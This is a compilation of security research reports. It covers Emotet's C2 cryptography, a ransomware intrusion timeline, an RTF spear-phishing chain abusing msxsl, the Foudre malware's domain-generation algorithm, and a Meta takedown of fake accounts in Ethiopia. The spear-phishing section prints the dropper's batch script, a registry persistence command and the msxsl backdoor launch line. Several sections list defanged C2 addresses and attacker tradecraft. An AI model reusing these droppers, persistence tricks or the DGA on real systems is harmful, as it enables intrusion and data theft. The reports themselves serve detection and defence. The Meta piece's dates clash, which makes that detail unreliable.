- sefsrv[.]mobwork[.]net
- shopping[.]wesogo[.]com
- smtp[.]skypetw[.]com
- sqldb[.]cksogo[.]com
- usr[.]narllab[.]com
- version[.]vicycle[.]net
- voip[.]narllab[.]com
- w2k3-ap01[.]skypetw[.]com
- web2008[.]rutentw[.]com
---
Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers, and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.
©2017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.
|
# Malware Analysis Spotlight: Emotet’s Use of Cryptography
## Emotet’s Use of Cryptography
Presented by the VMRay Labs Team
The group behind Emotet is the prime example of a very successful criminal enterprise. Emotet started out as a banking malware but over time evolved into a large botnet providing something akin to a malicious IaaS (Infrastructure-as-a-Service). It started providing access to its extensive list of infected devices to other threat actors and their malware (Trickbot, Dridex, IcedID). It started acting as their loader. Since the beginning of 2021, after a longer “break” which was the consequence of a coordinated take down of Emotet’s infrastructure by law enforcement, Emotet resurfaced on the 14th of November 2021. Actively trying to rebuild its own infrastructure utilizing Trickbot. Many of the techniques stayed the same, but there are also some important differences.
The Emotet binaries, which were distributed starting from November 2021, come with two embedded elliptic-curve-based public keys of the server. The previous versions were using RSA as the primary asymmetric scheme. An RSA public key was embedded in the sample and used to encrypt the generated AES-128 key before sending it back to its C2. For message integrity, the packet was hashed with the SHA1 algorithm and the hash was appended to the request message. The new version comes with two public keys. One key is used for the Elliptic Curve Diffie–Hellman (ECDH) key exchange protocol while the other is used as part of the signature verification by the Digital Signature Algorithm (DSA). In this blog post, we’ll be looking at how Emotet uses elliptic curve cryptography to protect the network communication and verify the authenticity and integrity of the commands received from its C2.
## Background
### Comparison: Past vs Present
Since the cryptographic part has changed in the newest version of Emotet, we are providing a high-level overview of the key steps taken by the older and new versions.
The previous version of Emotet that was using RSA roughly followed the following steps when encrypting a message:
1. It generates a 128-bit AES key.
2. Encrypts it with the server’s public key.
3. Constructs the message sent to the server.
4. Encrypts the message and hashes the message. C = SHA1(M) || AES128(M), where C is the resulting ciphertext and M is the plaintext message.
5. This results in the following request packet. R = RSA(AESkey) || C.
For the newest version, the flow and the packets it generates are different as seen below:
1. It first generates its own ECDH public/private key pair.
2. Then it generates an AES key based on a secret agreement.
3. Constructs the message and hashes it.
4. Encrypts the resulting payload: C = AES256(SHA256(M) || M).
5. Request packet is then given by: R = ECDHmal_pub_key || C || <random bytes>.
### Elliptic Curve Diffie-Hellman (ECDH) Key Exchange
For the ECDH to work, the two communicating parties need to each have a key pair, a private and a public key. The public keys are points on an elliptic curve and are generated based on the private keys. The public keys are exchanged, i.e., known by both parties. For example, if s is a private key and P is a primitive element on the curve, then the public key S is calculated as sP=S, which is simply adding P to itself a times. The addition is a group operation. If both parties generate their public keys that way based on known domain parameters, they can calculate the same secret T(SM).
The malware already has the ECDH public key of the server. Its own key pair is generated during the execution. Analogous to the example above, it can now generate a secret from the public key of the server and its own private key. Now it only needs to send its public key to the server for the server to also be able to derive the same secret.
## Implementation
### Usage of ECDH
The Emotet’s cryptographic components are now utilizing Microsoft’s Cryptography API: Next Generation (CNG), most notably the BCrypt cryptographic primitive functions. Initially, the malware decrypts the two embedded public keys of the server (ECDH and ECDSA). It uses the same decryption method as with other strings. The keys are saved inside a BLOB structure which consists of a BCRYPT_ECCKEY_BLOB header immediately followed by the key data.
The ECDH public key of the server is passed to a function responsible for generating the symmetric key (256-bit AES key). On a higher level, it can be described by the following steps:
1. Generate a new ECDH key pair for the malware.
2. Generate a secret agreement based on the malware’s private key and the server’s public key.
3. Derive an AES key from the secret agreement using SHA256 as the key derivation function (KDF).
In more detail, this function’s first step is to generate an ECDH key pair that is unique to the malware sample. It does so by calling BCryptOpenAlgorithmProvider to initialize a CNG provider with the AlgId ECDH_P256 which corresponds to the prime256v1 or P-256 elliptic curve. Next, it generates a new key pair using the combination of BCryptGenerateKeyPair and BCryptFinalizeKeyPair. The keys are then exported into a BLOB using BCryptExportKey for later use.
Having finalized its key pair, it now imports the server's public key to be able to use it in the generation of a shared secret. It’s using BCryptImportKeyPair that gets the public key as one of the arguments and returns a handle to it. This handle can then be passed to BCryptSecretAgreement together with a handle to its own key which it got in the previous step from calling BCryptExportKey. At this stage, the secret agreement is equal to the T(SM) value from the previous example, and Emotet can start deriving a symmetric key.
The secret generated from the public key of the server and the private key of the malware sample is then used to generate an AES key. A new CNG provider is initialized with the AlgId = AES. The key is then derived using BCryptDeriveKey. This function takes the secret agreement as input and generates a key based on a key derivation function (KDF) and its parameters which are passed in the BCryptBufferDesc structure. For that, Emotet uses HASH as the KDF and passes the SHA256 as the actual algorithm. This key is then imported using BCryptImportKey (for symmetric keys) so that it can also be later used when encrypting data. The KeyDataBlob passed as an argument to BCryptImportKey describes the key. Based on the BCRYPT_KEY_DATA_BLOB_HEADER, the key data size is 32 bytes, i.e., 256 bits. To generate the same symmetric key, the server needs the public key of the malware which it prepends to the request sent to the server.
### Usage of the Elliptic Curve Digital Signature Algorithm (ECDSA)
The server’s ECDSA public key is used to verify the response messages the malware receives. The server’s DSA public key is imported just like the ECDH public key was. When an encrypted response from the server arrives, it is first decrypted with BCryptDecrypt (no padding is used). It then calculates the SHA256 hash of the decrypted data and uses BCryptVerifySignature to verify the integrity and authenticity, i.e., that it matches with the embedded signed hash – signature.
## Conclusion
We have looked at one of the updated components of Emotet which involves the usage of cryptography. The most obvious element is that the malware developers switched from the RSA algorithm to using elliptic curves. Emotet has been encrypting its communication for a long time, but the recent change might be due to a lot of factors like, e.g., smaller key sizes and better security. The C2’s response is now checked for its integrity and authenticity by using ECDSA with a separate key. While using ECDH, the symmetric key is never transmitted over the wire and instead, the server generates the key from the public key of the malware. We have also observed the switch from CryptoAPI to CNG, which might be due to the fact that the CryptoAPI has been officially deprecated or that it simply didn’t support elliptic curve cryptography.
## IOCs
**Initial Sample:** 7443d5335a207cca176825bd774a412e72882c815206c7f59ace1feb111bb4e9
**Server’s ECC keys**
**ECDH:** 86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuwTyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg==
**ECDSA:** QF90tsTY3Aw9HwZ6N9y5+be9XoovpqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q==
**Emotet C&Cs**
hXXps://131[.]100.24.231:80
hXXps://209[.]59.138.75:7080
hXXps://103[.]8.26.102:8080
hXXps://178[.]79.147.66:8080
hXXps://51[.]38.71.0:443
hXXps://79[.]172.212.216:8080
hXXps://162[.]214.50.39:7080
hXXps://203[.]114.109.124:443
hXXps://45[.]142.114.231:8080
hXXps://212[.]237.5.209:443
hXXps://104[.]251.214.46:8080
hXXps://212[.]237.56.116:7080
hXXps://107[.]182.225.142:8080
hXXps://104[.]168.155.129:8080
hXXps://138[.]185.72.26:8080
hXXps://45[.]118.135.203:7080
hXXps://216[.]158.226.206:443
hXXps://103[.]75.201.2:443
hXXps://158[.]69.222.101:443
hXXps://178[.]63.25.185:443
hXXps://45[.]118.115.99:8080
hXXps://46[.]55.222.11:443
hXXps://192[.]254.71.210:443
hXXps://217[.]182.143.207:443
hXXps://110[.]232.117.186:8080
hXXps://81[.]0.236.90:443
hXXps://176[.]104.106.96:8080
hXXps://103[.]8.26.103:8080
hXXps://50[.]116.54.215:443
hXXps://195[.]154.133.20:443
hXXps://51[.]68.175.8:8080
hXXps://58[.]227.42.236:80
hXXps://173[.]212.193.249:8080
hXXps://212[.]237.17.99:8080
hXXps://41[.]76.108.46:8080
hXXps://45[.]176.232.124:443
hXXps://207[.]38.84.195:8080
## References
- https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf
- https://www.europol.europa.eu/media-press/newsroom/news/world%e2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
- https://cyber.wtf/2021/11/15/guess-whos-back/
- https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/
- https://link.springer.com/book/10.1007/978-3-642-04101-3
- https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
|
# Diving into Double Extortion Campaigns
By Heather Larrieu, Curt Wilson, Katrina Hill
Previous Accenture Security blogs have provided insight into ongoing “Big-Game” extortion campaigns conducted by a threat group recently leveraging Hades, Phoenix Cryptolocker, and now Macaw Locker ransomware variants. Multiple intelligence sources are now linking the campaign to the Evil Corp threat group, which Accenture Security assesses to be true with moderate confidence.
This blog is part 1 of a 2-part series and will walk through an example attack timeline, address the critical events, and count down the days leading to ransomware deployment. Part 2 will highlight additional technical details of the intrusion clusters, associated attacker TTPs, and provide potential opportunities for detection that can be used to address these and similar “hands-on-keyboard” threat groups to support defenders in the field.
The information in this blog is based on data collected from CIFR incident response engagements. All intrusion data, analysis, and derived conclusions are based on Accenture’s distinct collection sources and available forensic artifacts.
## Initial Access
The threat group has been seen using two different methods for initial access into the victim networks. The first is using previously acquired legitimate credentials that are not configured for multi-factor authentication (MFA) to access Internet-facing systems via exposed Remote Desktop Protocol (RDP) or using enterprise Virtual Private Network (VPN) services. The second utilized the foothold established by the SocGholish malware that was delivered to client systems via a fake browser update page. The fake update page, in this instance Google Chrome, is served from a compromised website with a message that indicates the client Chrome browser is out of date.
Depending on the configuration, a fake instance of Google Chrome is downloaded to the machine automatically or in response to the user clicking on the update button. The SocGholish JavaScript code is encoded and has multiple stages of obfuscation to bypass security controls and evade detection. On execution, JavaScript will first profile the machine and exfiltrate detailed system information such as:
- Computer name
- Username
- Operating system
- Domain
- Anti-malware products installed
- Process lists
- Hardware information
If the machine meets criteria specified by threat groups, then the next stage of compromise commences as additional malware such as the post-exploit tool Cobalt Strike is downloaded to the machine.
SocGholish has been associated with the EvilCorp threat group as well as the threat group named UNC2602 by Mandiant.
## Ransomware Response and Recovery
### Around 266 Days Before Ransomware Deployment
The threat group dropped Cobalt Strike Beacon, an implant commonly used in ransomware campaigns, on 6 endpoints to further their foothold and maintain persistence within the victim’s environment. Shortly after execution, the Cobalt Strike Beacon connected out to the threat group’s Command and Control (C2) server, newschools.info. The Cobalt Strike Beacon implant was found in the C:\ProgramData directory which served as a primary staging area for the threat actors. Accenture Security noted that the group operated out of this staging directory across multiple systems with several tools and executables tied to the intrusion set consistently stored and executed from this path.
The extracted configuration file associated with the Cobalt Strike Beacon implant was used by Accenture Security to confirm that the implant was configured to check-in to its C2 server at two defined domains (currentteach.com or newschools.info) for pending tasks and then proceed to sleep for 45000 seconds with a 37% jitter percentage. This means that the beacon will sleep for a random time between 28350s to 45000s before the next check-in, making it difficult to predict the beacon pattern using common network detection techniques. The configuration also highlights other settings used by the threat actor to make detection more difficult by using junk data and customizable protocol headers.
The Cobalt Strike Beacon watermark for this particular implant is 305419896 which should ordinarily map to a unique Cobalt Strike license. In this case, however, this watermark has been reported associated with leaked or stolen Cobalt Strike instances and has been previously associated with ransomware affiliated operators at least as early as June 2020.
### Around 265 Days Before Ransomware Deployment
The threat group had a successful login using a valid account from a non-standard hostname paired with an IP address from the victim network VPN range. Inspection of the hostname collected from Windows Security Logs events showed the workstation names used by the threat actor were not consistent with internal naming convention and, in fact, the names were among defaults assigned to publicly available VM images intended for testing.
### Around 180 Days Before Ransomware Deployment
The threat group enumerated around 1,200 network shares. Adversaries enumerate network shares to gain knowledge about the environment or to look for sensitive information that can be later used for collection and exfiltration. During this phase of network share enumeration, the threat group viewed the following items:
- IT Security operation documentation
- Infrastructure diagrams
- OneDrive documents
- Stored password safes
- Backup operational documentation
- HR documents
- Legal documents
- Financial documents
These documents provided key pivot points for the threat group to leverage.
### Around 60 Days Before Ransomware Deployment
The threat group continued to login to the environment using a valid account from a non-standard hostname paired with an IP address from the clients known VPN range. In addition, the threat group leveraged RDP to move laterally throughout the environment.
### Around 13 Days Before Ransomware Deployment
From the threat actor’s staging directory, C:\ProgramData, the threat group executed Mimikatz, a well-known tool used for credential dumping and privilege escalation, along with Advanced Port Scanner, a network scanning tool. Reviewing the filesystem, the threat group made no attempt to conceal the name or obfuscate the tools beyond having them in an unusual staging directory.
### Around 9 Days Before Ransomware Deployment
The threat group enumerated C:\ProgramData shares on around 230 systems. Accenture Security theorizes that the threat group was verifying access before staging the ransomware in C:\ProgramData.
### Around 7 Days Before Ransomware Deployment
Utilizing network shares, the threat group copied Google Chrome executables to different endpoints. From the Google Chrome browser executing on the targeted endpoints, the threat group would access a variety of critical web portals using legitimate user credentials acquired from earlier credential dumping with Mimikatz. Targeted sites included high value information repositories such as IT and Security team mailboxes and documentation and system architecture sites.
Additionally, the environment was configured to federate access to the AWS environment via SAML using Microsoft Azure Active Directory. With this configuration, the threat group was able to login to the “Microsoft MyApps” portal with the valid stolen Azure AD user credential and access the AWS environments without any MFA prompt. This allowed console access to several AWS resources:
- AWS Backup
- AWS Management Console
- AWS Storage Gateway
- S3 Management Console
### About 2 Days Before Ransomware Deployment
The threat group executed PuTTY, an SSH client, and Advanced Port Scanner. Shortly after, there is evidence of Advanced Port Scanner being quarantined by AV and then it being removed from quarantine. This behavior is evidence of the threat group having sufficient privileged access such that they were able to disable or modify security tools to avoid their tools being detected or contained. Reviewing the filesystem showed that the threat group again made no attempt to conceal the nature of the tools.
### 1 Day Before Ransomware Deployment
The threat group invoked a reverse SOCKS proxy for an additional layer of persistence. A reverse SOCKS proxy allows a persistent network connection between the attacker’s infrastructure and the clients environment.
## Ransom Day
The access and knowledge of the client environment gained by the threat actors over the past activities is employed to destroy the client’s ability to do business, hamper recovery, and collect sensitive data for increased leverage in potential ransom negotiations. Tempo and specific operations suggest at least two distinct sets of hands-on-keyboard operators.
### About 6 Hours Before Ransomware Deployment
Evidence shows the threat group utilizing Google Chrome to Google Search questions to help achieve their next steps such as how to disable security tools and retrieve credentials. Below are the search history results:
- “How to uninstall [antivirus tool]”
- “Uninstall [antivirus tool] without password”
- “aws cli get credentials path”
- “[antivirus tool] get credentials path”
- “[antivirus tool] bulk uninstall agent”
- "putty download”
During this time, the threat group is also seen accessing the following websites:
- AWS Backup
- AWS Command Line Interface
- AWS Management Console
- Download PuTTY: Latest release (0.74)
Shortly after, there is evidence of the threat group downloading a credential file, AWS CLI version 2, and PuTTY.
### About 4 Hours Before Ransomware Deployment
The threat group utilized 7zip to archive data that was then staged and exfiltrated to an attacker-controlled server hosted in Mega.nz cloud infrastructure, leveraging the MEGAsync utility. MEGA is an encrypted cloud storage tool often leveraged in ransomware incidents. After the data was exfiltrated, the threat group attempted to cover their tracks by moving all 7zip files to the recycle bin. Once again, evidence shows that the threat actor did not attempt to conceal 7zip and MEGAsync.
### About 4 Hours Before Ransomware Deployment
While preparing for ransomware deployment, the threat group deleted snapshots of critical business data from a network attached storage (NAS) device that had no functional backup. The threat group used the “Microsoft MyApps” portal to get into the AWS console and from there deleted all the S3 buckets containing "backup” within the name. Then, a batch script that leveraged wevtutil.exe to clear event logs was used on affected hosts.
### Ransomware Deployment
In preparation for the ransomware deployment, the threat group leveraged PowerShell to disable security tools. From a domain controller, the threat group used PSEXEC to make connections to 1,200 systems to push out a batch script to shutdown security services running on a 30-second sleep loop. After the security services were shutdown, the threat group pushed ransomware across the environment.
After ransomware deployment, the threat actor leaves the network in shambles. The organization is left to recover their environment the best they can and contemplate paying the ransom. Part 2 of this blog series will dive deeper into detection and hunting opportunities to be leveraged by network defenders.
|
# Spear-phishing Campaign Leveraging MSXSL
We have identified an ongoing spear-phishing campaign targeting a variety of entities with malicious RTF documents exploiting three different vulnerabilities: CVE-2017-8570, CVE-2017-11882, and CVE-2018-0802, and taking advantage of a misplaced trust binary, Microsoft’s msxsl, to run a JScript backdoor. The whole attack chain leverages signed components of the system to remain under the radar and shares many similarities with previous campaigns from the Cobalt Group.
## Attack Vector
The spear-phishing campaign makes use of a malicious RTF document that opens a decoy document if the exploitation of one of the targeted vulnerabilities is successful.
What happens after opening the document can be summarized as follows:
1. The malicious RTF exploits one of three vulnerabilities (CVE-2017-8570, CVE-2017-11882, or CVE-2018-0802).
2. `eqnedt32.exe` (Microsoft Equation Editor) is run, and two instances of `cmd.exe` are executed in a chain.
3. The last `cmd.exe` instance starts `regsrv32.exe` with a DLL (`dll.txt`), then a decoy document is dropped.
4. The loaded DLL performs the following actions:
- Creates an XML file.
- Creates an XSL file.
- Deletes itself from disk.
- Creates a JScript file (for persistence).
- Drops a legitimate `MSXSL.exe` copy.
- `MSXSL` runs the final backdoor taken from the newly created XML and XSL files.
## Attack Life Cycle
### First Stage
After the vulnerability has been exploited, `cmd.exe` runs `Task.bat`:
```
ECHO OFF
set tp="%temp%\block.txt"
IF EXIST %tp% (exit) ELSE (set tp="%temp%\block.txt" & copy NUL %tp% & start /b %temp%\2nd.bat)
del "%~f0"
exit
```
After the environment variable is set, a second batch file is launched to load `regsrv32.exe` to load `dll.txt`, clean up the temp directory, and restart `winword` showing the decoy document.
### DLL Loading
The main task of setting up the correct environment for the backdoor to run and remain persistent is left to `dll.txt`, which performs the following operations:
- Create `c:\users\user\appdata\roaming\microsoft\f4b3a452b6ea052d286.txt`
- Create `c:\users\user\appdata\roaming\microsoft\7009b05a8c4dc1b.txt`
- Create `c:\users\user\appdata\roaming\microsoft\12a0c3af5a631493445f1d42.js`
- Drop `c:\users\user\appdata\roaming\microsoft\msxsl.exe`, a legitimate Microsoft executable.
- Create a registry key value in `HKCU\Environment` with value `UserInitMprLogonScript` and data `Cmd.Exe /C “%Appdata%\Microsoft\12A0C3AF5A631493445F1D42.Js”` (logon persistence script).
### DLL Activity
Immediately after an instance of `cmd.exe` is spawned to remove `dll.txt`, `msxsl.exe` is launched, taking as arguments the dropped XML file and the XSL file (containing the backdoor’s code).
### Logon Script Persistence
It’s notable that `msxsl.exe` is the real command-line utility used to perform Extensible Stylesheet Language (XSL) transformations using Microsoft’s XSL processor. This executable can be abused to run JScript code:
```
C:\Users\User\AppData\Roaming\Microsoft\msxsl.exe
"C:\Users\User\AppData\Roaming\Microsoft\F4B3A452B6EA052D286.txt"
"C:\Users\User\AppData\Roaming\Microsoft\7009B05A8C4DC1B.txt"
```
## Backdoor
The backdoor is written in JScript and is capable of performing the following operations:
- Reconnaissance via WMI and other Windows tools.
- Run executables using `cmd.exe`.
- Load DLL files using `regsvr32.exe`.
- Download and run new scripts.
- Remove itself.
- Check for antivirus software.
- C2 communication using a JS implementation of RC4.
Any kind of script can be run by the backdoor, so its capabilities are potentially unlimited. Different antivirus software are checked, not to prevent the backdoor from running, but to send information back to the C2, possibly to provide the operators with knowledge about their victims before deploying more sophisticated scripts that might raise alarms.
The C2 address found in this campaign is: `mail[.]hotmail[.]org[.]kz/owalanding/ajax[.]php`, which appears to be a hostname registered in Kazakhstan back in 1994, likely compromised by the attackers and used as C2.
The second stage of the attack chain appears to be the same as a campaign identified back in November and possibly attributed to the Cobalt Group. The first stage of the attack is completely different, suggesting it might be a new exploit kit (Threadkit?). The backdoor’s code appears to be very similar (with a few changes) to the one analyzed back in August 2017 by TrendMicro. The shared commands between this March 2018 version and the August 2017 one are:
- `more_eggs`: used to download new scripts.
- `d&exec`: used to run executable files.
- `gtfo`: used to terminate the instance and perform cleanups.
- `more_onion`: used to run a new script.
ReaQta-Hive customers are protected out-of-the-box from this threat, and no updates are required. Fully patched systems are not vulnerable to this attack as all the vulnerabilities have been reported and fixed. Legacy systems should monitor for one of the IOCs published below and for abnormal behaviors, like `msxsl` running from temporary folders or `regsvr32.exe` loading unknown modules.
## IOC
- Malicious RTF (DOC00201875891.doc): `db5a46b9d8419079ea8431c9d6f6f55e4f7d36f22eee409bd62d72ea79fb8e72`
- `msxsl.exe` (legitimate, dropped): `35ba7624f586086f32a01459fcc0ab755b01b49d571618af456aa49e593734c7`
- JS persistence: `710eb7d7d94aa5e0932fab1805d5b74add158999e5d90a7b09e8bd7187bf4957`
- XSL JS backdoor: `6a3f5bc5885fea8b63b80cd6ca5a7990a49818eda5de59eeebc0a9b228b5d277`
- XML: `dbe0081d0c56e0b0d7dbf7318a4e296776bdd76ca7955db93e1a188ab78de66c`
- `task.bat`: `731abba49e150da730d1b94879ce42b7f89f2a16c2b3d6f1e8d4c7d31546d35d`
- `2nd.bat`: `33c362351554193afd6267c067b8aa78b12b7a8a8c72c4c47f2c62c5073afdce`
- Decoy document: `1ab201c1e95fc205f5445acfae6016679387bffa79903b07194270e9191837d8`
- `regsvr32 DLL`: `0adc165e274540c69985ea2f8ba41908d9e69c14ba7a795c9f548f90f79b7574`
- `inteldriverupd1.sct`: `002394c515bc0df787f99f565b6c032bef239a5e40a33ac710395bf264520df7`
- C2: `mail[.]hotmail[.]org[.]kz/owalanding/ajax.php`
- IP (at the time of writing): `185.45.192.167`
|
# Prince of Persia: The Sands of Foudre
**August 17, 2018**
**Written by Jay Rosenberg**
## Introduction
In the past couple of years, Palo Alto Networks reported on the “Prince of Persia” malware campaign, which is believed to be of Iranian origin and ongoing for more than 10 years. The original research, published in 2016, called the malware Infy, and their second report, published in 2017, named the upgraded malware Foudre. The name “Foudre” comes from a string in the binary used to check if the computer is already infected. At the time of their blog post, Palo Alto Networks stated the versions of Foudre they observed were versions 1 and 2. We have found new evidence of the Prince of Persia campaign active by finding a new version of the Foudre malware, version 8.
In this blog post, we are only going to focus on the new, unique, interesting features of the new version of Foudre and its related campaign.
## No to The Forced Hijab
Similarly to the samples noted in previous reports, this new malware also comes packaged in a WinRAR SFX archive including multiple malicious binaries and a media file. The media file in this case is a video in the MP4 format showing a woman in Iran walking around and at the end pulling off her hijab. In the video, there is text written in Farsi with a hashtag, ﻪﺑ ﻪﻨﺑ یرﺎﺒﺟا بﺎﺠﺣ#, literally translating to “no to the forced hijab.” This hashtag is in reference to protesters in Iran who are protesting the mandatory use of the hijab for women, and the video is meant to distract the victim while the Foudre malware gets installed in the background.
Foudre is a remote access tool and has the ability to remotely execute commands, steal information about the infected target (such as keystrokes, process information, etc.), and auto-update itself. Most of the code and functionality from the previous versions of Foudre and Infy was reused, so we are only going to focus on the new, unique, interesting features and the linkage of code reuse from previous versions.
## Code Reuse
After uploading the WinRAR SFX to Intezer Analyze™, the files inside were statically extracted, revealing 3 binaries, a lockbox3 signature, and the video mentioned above. Using our new Show Code feature, we can see code overlapping with Foudre and Infy.
## New Features/Changes
First of all, the main binary of the upgraded Foudre malware is mostly undetected on VirusTotal with only 3/67 detections.
In the latest version of Foudre, there are 2 modules. One of the modules (i7234.dll) has the export “D1” and the other module (d388) exports “D2” as a function. We are going to refer to the different binaries based on their exports, D1 and D2. The third binary never gets launched and is still under investigation. We will release more details about it on a further date. The WinRAR SFX and D1 module only get executed once. The following features/changes are spread across the WinRAR SFX, D1, and D2:
### WinRAR SFX Dropper
1. WinRAR SFX has the icon of a girl with hijab from the video.
2. Extracts files.
3. Launches D1 (i7234.dll) with rundll32 and executes export D1.
### D1
1. D1 executes the mp4 file.
2. Checks if it finds a window “TNRRDPKE2,” meaning it’s already running.
3. Copies D2 and key to %APPDATA% with filenames a.n and p.k and creates a shortcut in the folder named “an.lnk” C:\WINDOWS\system32\rundll32.exe a.n D2 838238125.
4. Deletes these files from the TEMP folder.
5. Stores the name of D2 (a.n) in HKEY_CURRENT_USER\Software\temp in a key called “ran2.”
6. Checks HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run for SnailDriver.
7. Creates autorun for an.lnk.
8. Checks for %PROGRAMFILES%\Kaspersky Lab.
9. Launches D2 with rundll32 “C:\WINDOWS\system32\rundll32.exe a.n D2 838238125.”
D2 has mostly the same features as reported in the older versions of Foudre, but this table shows the main changes:
| Foudre | Version 2 | Version 8 |
|---------------------|------------------------------------------|------------------------------------------|
| Browser | Microsoft Edge, Internet Explorer, Mozilla Firefox, Google Chrome | Opera, Microsoft Edge, Internet Explorer, Mozilla Firefox, Google Chrome |
| Domain Generation Algorithm | Yes | Yes, different (see below) |
| VirusTotal Detections | 41/66 | 3/67 |
| String Encryption | Yes | No |
| Already Running Detection String | TNRRDPKE | TNRRDPKE2 |
## Domain Generation Algorithm (DGA)
The DGA used by version 8 of Foudre has only changed slightly from the previous versions. In the previous versions, the DGA algorithm was calculated by the following algorithm (credit to Esmid Idrizovic):
ToHex(CRC32(“NRV1” + year + month + week_number)) + (“.space”|”.net”|”.top”)
There are two minor differences now when calculating the C2. NRV1 was replaced with NRTV1, and .dynu.net was added as a suffix to the domain, making the algorithm now:
ToHex(CRC32(“NRTV1” + year + month + week_number)) + (“.space”|”.net”|”.top”|”.dynu.net”)
A few of the calculated domains were added to the bottom of the report in the IoCs section. The domains up to the week of September 9, 2018 (week 35) have been registered in Panama and resolve to the same IP address 185[.]61[.]154[.]26. The oldest domain using this algorithm we could find that was registered was for the week of November 5, 2017.
## Conclusion
Due to the content of the video and the information from the reports on previous versions of Foudre, we believe the targets are mostly Iranian citizens. We have registered some of the future generated domains to prevent the attack and will update the post with information regarding the infected victims.
## IoCs
**Files:**
- WinRAR SFX: c38533b85e4750e6f649cc407a50031de0984a8f3d5b90600824915433a5e218
- D1 DLL: a02ce6768662ef250d248c158f26129dd4dfab30845d07962fbfe7aa19b16db9
- D2 DLL: c7279a32329ebb1ab5c1cdbfbddb5a167e1505340c3ca72e837a222ff92665a6
- Unknown Binary: cef161a220e019acc9ae79924a477c64aac2d6cc04126bb3f4a9f8452515f40f
- MP4: dbed2ca2e9c53dd72c3ed3ce60e603c6c91c80152f924d97d8514781e6d9e26f
- lockbox3 signature: d2645d16e869addd099727c3c58438c2f6935d92c00f9e4b237ef498de1dad87
**C&Cs:**
- 185[.]61[.]154.26
- ns1[.]cf75d89b[.]space
- ns2[.]cf75d89b[.]space
- Week 32 (Aug 5) – fe19f97f[.]space
- Week 33 (Aug 12) – 891ec9e9[.]space
- Week 34 (Sept 2) – 177a5c4a[.]space
- Week 35 (Sept 9) – 607d6cdc[.]space
- Week 36 (Sept 16) – f8b65751[.]space
- Week 37 (Sept 23) – 8fb167c7[.]space
- Week 38 (Sept 30) – 1f0e7a56[.]space
- Week 39 (Oct 7) – 68094ac0[.]space
- Week 40 (Oct 14) – 1d8bfc20[.]space
|
# Removing Coordinated Inauthentic Behavior From Ethiopia
April 7, 2022
We removed a network of accounts, Pages, and Groups in Ethiopia for coordinated inauthentic behavior (CIB). It targeted domestic audiences in its own country. The people behind this activity coordinated with one another and used fake accounts as a central part of their operations to mislead people about who they are and what they are doing, and that was the basis for our action. When we investigate and remove CIB operations, we focus on behavior rather than content, no matter who’s behind them, what they post, or whether they’re foreign or domestic.
Over the past four years, we’ve shared our findings about coordinated inauthentic behavior we detect and remove from our platforms. Each month, we publish CIB reports where we share information about the networks we take down over the course of each month to make it easier for people to see the progress we’re making in one place. In some cases, like today, we also share our findings at the time of enforcement. The takedown we are announcing today will also be included in our June 2021 report. We are making progress rooting out this abuse, but as we’ve said before, it’s an ongoing effort. We’re committed to continually improving to stay ahead.
## WHAT WE FOUND
We removed 62 Facebook accounts, 49 Pages, 26 Groups, and 32 accounts on Instagram for violating our policy against coordinated inauthentic behavior. This network originated in and focused on domestic audiences in Ethiopia. The operation used duplicate and fake accounts — some of which were already detected and disabled by our automated systems — to post and comment on their own content, and manage Groups and Pages, including those posing as media entities. The campaign appeared to accelerate their posting activity in 2020 and into 2021, and some of its recent content was rated false by independent fact-checkers and labeled as misleading. Some of the accounts went through significant name changes over time. They also used spam-like inauthentic distribution tactics to post the same content across multiple Pages and Groups simultaneously, including other people’s Groups.
This network posted primarily in Amharic about news and current events in Ethiopia, including the Prosperity party, Prime Minister Abiy Ahmed, and criticism of Egypt and Sudan related to Ethiopia’s mega dam project. They also posted critical commentary about various opposition politicians and groups in Ethiopia, including the Oromo Liberation Front, Ethiopian Democratic Party, and the Tigray People’s Liberation Front among others. Most recently, they commented about protests against the US sanctions on Ethiopia. We assess that this activity was not directly focused on the Tigray region or the ongoing conflict in Tigray.
We found this network as part of our internal investigation into suspected coordinated inauthentic behavior in the region. Although the people behind it attempted to conceal their identities and coordination, our investigation found links to individuals associated with INSA, the Information Network Security Agency in Ethiopia.
**Presence on Facebook and Instagram:** 62 Facebook accounts, 49 Pages, 26 Groups, and 32 Instagram accounts.
**Followers:** About 1.1 million accounts followed one or more of these Pages, about 766,000 accounts joined one or more of these Groups, and around 1,700 people followed one or more of these Instagram accounts.
**Advertising:** About $7,200 in spending for ads paid for in US dollars.
Below is a sample of the content posted by some of these Pages and accounts:
**Translation:**
**Caption:** Debretseion’s death is being talked about on social media. It seems all that threat has gone to grave. It is usually the case that an empty threat of a “shiro” is until a spoon finds it.
**Image overlay:** Debretsion, the warthog, has been making threats wearing his gloves but he has gone to the grave. Ego takes one to the grave.
**Translation:**
**Image overlay:** Those who know him, know him well. Those who don’t know him are getting to know him now. He knows how to persuade his enemies with his bright path. Stay strong our leader. Millions of us have decided to stand with you.
**Translation:**
**Caption:** The supporters of the junta which has been blown to ashes in two weeks by our military and amhara special forces are now using hashtag campaigns to get international intervention and support. This is a nightmare. Does one think the group which has been defeated while having tanks and missiles can come back to life through a false campaign? Never. This is like trying to hug a cloud.
**Image overlay:** The Tigray genocide is only happening on social media, particularly on Twitter.
|
# A Taste of the Latest Release of QakBot
QakBot, also known as Qbot, Pinkslipbot, and Quakbot, is a banking trojan that has been making headlines since 2007. This malware focuses on stealing banking credentials and victims' secrets using various techniques, tactics, and procedures (TTP) that have evolved over the years, including its delivery mechanisms, C2 techniques, and anti-analysis features.
